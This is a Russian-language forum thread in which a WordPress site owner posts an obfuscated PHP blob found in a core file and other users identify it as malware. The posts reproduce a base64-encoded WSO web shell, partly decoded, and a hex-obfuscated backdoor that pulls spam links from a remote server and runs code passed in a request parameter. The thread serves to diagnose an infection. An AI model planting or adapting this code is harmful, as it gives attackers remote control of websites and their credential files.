Помощник
|
Помогите расшифровать |
dimka1109
|
Сообщение
#12
|
|
Развернуть/Свернуть
[code]/* READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE! Block out any script trying to base64_encode data within the URL. Block out any script trying to set a PHP GLOBALS variable via URL. */eval(base64_decode('ZGVmaW5lKCdBS0lTTUVUX1ZFUlNJT04nLCAnMi4yLjYnKTsKJGNvbG9yID0gIiNkZjUiOwokZGVm
YXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7Cgpp Z iggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkge w oJaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7CglleGl0Owp9CkBzZXNzaW9uX3N0YXJ0KC k 7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCg n bG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAc2V0X3RpbWVf b GltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBkZWZpbmUoJ1ZFUlNJT04nLCAnM i 4yJyk7CmlmKCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpICkgewoJZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2 F ycmF5KCRhcnJheSkgewoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHN s YXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CgkkX1BPU1QgPSBz d HJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsKfQpmdW5jdGlvbiBwcmludExvZ2luKCkgewoJPz4KCTxjZ W 50ZXI+Cgk8Zm9ybSBtZXRob2Q9cG9zdD4KCVBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW 1 lPXBhc3M+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+Cgk8L2Zvcm0+PC9jZW50ZXI+Cgk8P3B o cAoJZXhpdDsKfQppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSld I CkpCglpZiggZW1wdHkoICRhdXRoX3Bhc3MgKSB8fAoJCSggaXNzZXQoICRfUE9TVFsncGFzcyddICkgJ i YgKCBtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MgKSApICkKCQkkX1NFU1NJT05bbWQ1KC R fU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsKCWVsc2UKCQlwcmludExvZ2luKCk7CgppZiggc3R y dG9sb3dlciggc3Vic3RyKFBIUF9PUywwLDMpICkgPT0gIndpbiIgKQoJJG9zID0gJ3dpbic7CmVsc2UK C SRvcyA9ICduaXgnOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwokZGlzYWJsZV9md W 5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJGhvbWVfY3dkID0gQGdldGN3ZC g pOwppZiggaXNzZXQoICRfUE9TVFsnYyddICkgKQoJQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEB n ZXRjd2QoKTsKaWYoICRvcyA9PSAnd2luJykgewoJJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwg I i8iLCAkaG9tZV9jd2QpOwoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7Cn0KaWYoI C Rjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApCgkkY3dkIC49ICcvJzsKCQppZigkb3MgPT0gJ3dpbi c pCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAJIkZpbmQ g aW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAJ I kZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqL n BocCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgCS J TaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgCSJVc2VyIGFjY291bnRzIiA 9 PiAibmV0IHVzZXIiLAogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRh Y mxlIiA9PiAiYXJwIC1hIiwKCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkpO w plbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxhIiwKCQkibGlzdC B maWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJ s c2F0dHIgLXZhIiwKICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAt a SBsaXN0ZW4iLAoJCSJGaW5kIiA9PiAiIiwKICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZ C AvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbn Q gZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2d p ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dp Z CBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiL A ogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb2 5 maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5 h bWUgXCJjb25maWcqXCIiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4g I mZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb 2 xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHdyaX R hYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1 s cyIsCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFt Z SBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgP T 4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5kIGFsbCAuaHRwYXNzd2 Q gZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgLmh0cGF z c3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dk I iwKICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hb W UgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZG l yIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZ l dGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJ C SJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmI C 1uYW1lIC5mZXRjaG1haWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIsCiAgCQkibG9jYXRlIGh0dHBkLmNvbm Y gZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyI g PT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJs b 2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlI H BzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCg k JImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2Z n LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9 P iAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY 2 9uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waH A iLAoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKCQkibG9 j YXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKCQkibG9jYXRlIGNv b mZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoJCSJsb 2 NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbG V zIj0+ImxvY2F0ZSAnLmNvbmYnIiwKCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2Q n IiwKCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9jYXRlIC5odHBh c 3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5I G ZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeS B maWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyB m aWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ I CJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsCgkJI m xvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiCQoJKTsKCmZ1bmN0aW9uIHByaW50SGVhZG V yKCkgewoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gIlV U Ri04IjsKCWdsb2JhbCAkY29sb3I7Cgk/Pgo8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQv aHRtbDsgY2hhcnNldD08P3BocCBlY2hvICRfUE9TVFsnY2hhcnNldCddPz4nPjx0aXRsZT48P3BocCBl Y 2hvICRfU0VSVkVSWydIVFRQX0hPU1QnXT8+IC0gV1NPIDw/cGhwIGVjaG8gVkVSU0lPTj8+PC90aXRsZT4KPHN0eWxlPgpib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0 NDtjb2xvcjojZTFlMWUxO30KYm9keSx0ZCx0aHsgZm9udDogOXB0IEx1Y2lkYSxWZXJkYW5hO21hcmdp b jowO3ZlcnRpY2FsLWFsaWduOnRvcDtjb2xvcjojZTFlMWUxOyB9CnRhYmxlLmluZm97IGNvbG9yOiNmZ m Y7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9CnNwYW4saDEsYXsgY29sb3I6PD9waHAgZWNobyAkY29sb3 I/PiAhaW1wb3J0YW50OyB9CnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0KaDF7IGJvcmRlci1sZWZ0 OjVweCBzb2xpZCA8P3BocCBlY2hvICRjb2xvcj8+O3BhZGRpbmc6IDJweCA1cHg7Zm9udDogMTRwdCBW Z XJkYW5hO2JhY2tncm91bmQtY29sb3I6IzIyMjttYXJnaW46MHB4OyB9CmRpdi5jb250ZW50eyBwYWRka W 5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQpheyB0ZXh0LWRlY2 9 yYXRpb246bm9uZTsgfQphOmhvdmVyeyB0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyB9Ci5tbDF7IGJ v cmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQou Y mlnYXJlYXsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7IH0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBtY X JnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkIDw/cGhwIGVjaG8gJGNvbG9yPz47IGZvbnQ6IDlwdCBNb25vc3BhY2UsIkNvdXJpZXIgTmV3IjsgfQpmb3Jt eyBtYXJnaW46MHB4OyB9CiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KLnRvb2xzSW5weyB3 a WR0aDogMzAwcHggfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1Z T VlO30KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQoubDF7YmFja2dyb3VuZC 1 jb2xvcjojNDQ0fQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQo8L3N0eWxlPgo8c2N y aXB0PgoJdmFyIGNfID0gJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pPz4nOwoJdmFyIGFfID0gJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pPz4nOwoJdmFyIHAxXyA9ICc8P3Bo cCBlY2hvIChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzphZGRzbGFzaGVzKGh0 b WxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDEnXSkpPz4nOwoJdmFyIHAyXyA9ICc8P3BocCBlY2hvIChzd H Jwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzphZGRzbGFzaGVzKGh0bWxzcGVjaWFsY2 h hcnMoQCRfUE9TVFsncDInXSkpPz4nOwoJdmFyIHAzXyA9ICc8P3BocCBlY2hvIChzdHJwb3MoQCRfUE9 T VFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzphZGRzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9T V FsncDMnXSkpPz4nOwoJdmFyIGNoYXJzZXRfID0gJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pPz4nOwoJZnVuY3Rpb24g c2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFs d WU9YTtlbHNlIGRvY3VtZW50Lm1mLmEudmFsdWU9YV87CgkJaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mL m MudmFsdWU9YztlbHNlIGRvY3VtZW50Lm1mLmMudmFsdWU9Y187CgkJaWYocDEgIT0gbnVsbClkb2N1bW V udC5tZi5wMS52YWx1ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKCQlpZihwMiAhPSB u dWxsKWRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyO2Vsc2UgZG9jdW1lbnQubWYucDIudmFsdWU9cDJfOwoJ C WlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7ZWxzZSBkb2N1bWVudC5tZi5wMy52Y W x1ZT1wM187CgkJaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcn N ldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87Cgl9CglmdW5jdGlvbiBnKGE s YyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKCQlkb2N1bWVu d C5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoY S xjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAiYWpheD10cnVlIjsKCQlmb3IoaT0wO2 k 8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKCQkJcGFyYW1zICs9ICImIitkb2N1bWVudC5 t Zi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVu и еще куча подобного далее Вот такое нашел в файле wp-includes/class.php в WP это должно быть или нет? Сообщение отредактировал OlegK - 13.1.2013, 23:06
Причина редактирования: убрал кучу г**на в спойлер
|
|
|
x64 |
13.1.2013, 23:06;
Ответить: x64
Сообщение
#13
|
|
в чистом wp таких портянок нет. да и файла class.php не припомню.
в чистом wp таких портянок нет Развернуть/Свернуть
define('AKISMET_VERSION', '2.2.6');
$color = "#df5"; $default_action = 'FilesMan'; @define('SELF_PATH', __FILE__); if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; } @session_start(); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('VERSION', '2.2'); if( get_magic_quotes_gpc() ) { function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); } ну и т. д. и т. п. обычный код в base64, который расшифровывается и выполняется в eval() ежели интересно, проверка расшифрованного файла на virustotal Сообщение отредактировал x64 - 13.1.2013, 22:54 |
|
|
IL172 |
23.1.2013, 5:21;
Ответить: IL172
Сообщение
#14
|
|
тут лучше нанят специалиста который позакрывает все дыры и почистит сайт
|
|
|
2_alexandr |
5.4.2013, 20:26;
Ответить: 2_alexandr
Сообщение
#15
|
|
dimka1109,
А кто пихает и как часто? И по времени когда? |
|
|
BuyTraffik |
12.4.2013, 14:36;
Ответить: BuyTraffik
Сообщение
#16
|
|
Это код от локального индексатора закриптованный обусификатором дабы админы не спалили)
Проставляют ссылочки на вашем сайте + бэкдор. Развернуть/Свернуть
<?php $x12="\143ur\x6c\x5fi\156\151\164"; $x13="\143u\x72\154\x5fse\x74\157\x70t"; $x14="\143\165rl\137\x65\170\x65c"; $x15="curl_c\154o\163\x65"; $x16="\145\x76al"; $x17="fi\154\x65\x5fg\x65\x74\137\x63\x6f\156te\156ts"; $x18="functi\157n\137e\x78i\x73\x74\163"; $x19="in\x69_\147\145\x74"; $x1a="\x70\x72\x65g\x5f\x6d\x61t\143\x68"; $x1b="s\164\162ip\x73\154ashe\163"; $x1c="\x75rl\x65\156\143o\144\145";
error_reporting(0);$x0b = "\x68\164\x74p\072\057\x2f\141\x63\143e\163s-\163\061.\x6f\x72\x67\x2fi\156\x64\x65\x78\141\164o\162\061/\147\145\164\x2e\x70h\160"; $x0c = "\0612\x333\062\x31\x71\161";if ($x1a("\057\050\x79\x61n\144e\170\x7cgo\157\x67l\145)/\x69", $_SERVER['HTTP_USER_AGENT'])) {$x0d = $x1c("\150\x74\x74p\x3a\x2f/".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);$x0e = $x1c($_SERVER['HTTP_USER_AGENT']);$x0f = $x0b."\077\x69\x64=".$x0d."\046\x63h\x61\x72\163et\075\x75\046\142o\164\x3d".$x0e; if($x19("\x61l\154\x6fw\137ur\x6c\x5f\146\x6f\160\x65\x6e") == 1) {echo $x17($x0f); } elseif($x18('curl_init')) {$x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;} } $x0f = $x0b."?\x63\157de\x3d\x63od\145\046\x62\x6ft\x3d".$x0e;if($x19("al\x6c\x6fw\x5f\165\x72\154_\146o\160\145\156") == 1) { echo $x17($x0f);}elseif($x18('curl_init')) { $x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;}if($_REQUEST["c"] == $x0c) $x16($x1b($_REQUEST["c\157\x64\x65"])); ?> при посещении бота на странице посылают запрос на удаленный сервер, с помощью курла подгружают ссылочку на вашу страницу где было бот + ($_REQUEST["c"] == $x0c) $x16($x1b($_REQUEST["c\157\x64\x65"])); - бэкдор. Всё Сообщение отредактировал BuyTraffik - 12.4.2013, 14:40 |
|
|
GreyWizard |
12.4.2013, 19:12;
Ответить: GreyWizard
Сообщение
#17
|
|
|
Версия WP какая? И какие плагины и темы поставлены
-------------------- |
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Помогите вспомнить рекламного бота Телеграм для обмена рекламой | 0 | Mixatraider | 725 | 21.2.2024, 23:42 автор: Mixatraider |
|
Помогите рещить проблему с монитором. Почему низкое разрешение при подключении монитора через displayport? |
0 | Levels | 1702 | 11.12.2020, 0:48 автор: Levels |
|
Помогите кто нибудь получить партнерку Росбанк! | 7 | heisenberg_mw | 2340 | 7.8.2020, 9:28 автор: heisenberg_mw |
|
Помогите найти тему пожалуйста | 7 | virtas | 12470 | 24.7.2020, 17:02 автор: -JamesSmips- |
|
Помогите с поиском доноров | 3 | tehno_music | 3352 | 4.11.2019, 17:15 автор: goblin78 |
Текстовая версия | Сейчас: 19.4.2024, 7:15 |